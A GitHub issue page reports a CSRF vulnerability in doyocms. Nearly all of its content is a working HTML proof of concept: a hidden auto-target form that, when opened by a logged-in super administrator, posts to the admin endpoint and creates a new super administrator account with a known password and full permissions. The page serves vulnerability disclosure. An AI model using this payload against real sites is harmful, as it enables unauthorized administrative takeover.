Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add the super administrator account #1

Open
RitaWWang opened this issue Jan 17, 2019 · 0 comments

Comments

@RitaWWang
Copy link

After the super administrator logged in, open the following page
poc:
one.html---add a super administrator

  <!-- CSRF PoC  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/doyocms-master/admin.php?c=a_adminuser&a=add&run=1" method="POST">
      <input type="hidden" name="auid" value="" />
      <input type="hidden" name="auser" value="test2" />
      <input type="hidden" name="apass" value="test2" />
      <input type="hidden" name="gid" value="1" />
      <input type="hidden" name="level" value="1" />
      <input type="hidden" name="aname" value="" />
      <input type="hidden" name="amail" value="" />
      <input type="hidden" name="atel" value="" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="1" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="9" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="10" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="2" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="18" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="19" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="3" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="4" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="6" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="7" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="8" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="11" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="22" />
      <input type="hidden" name="pclasstype&#91;&#93;" value="23" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant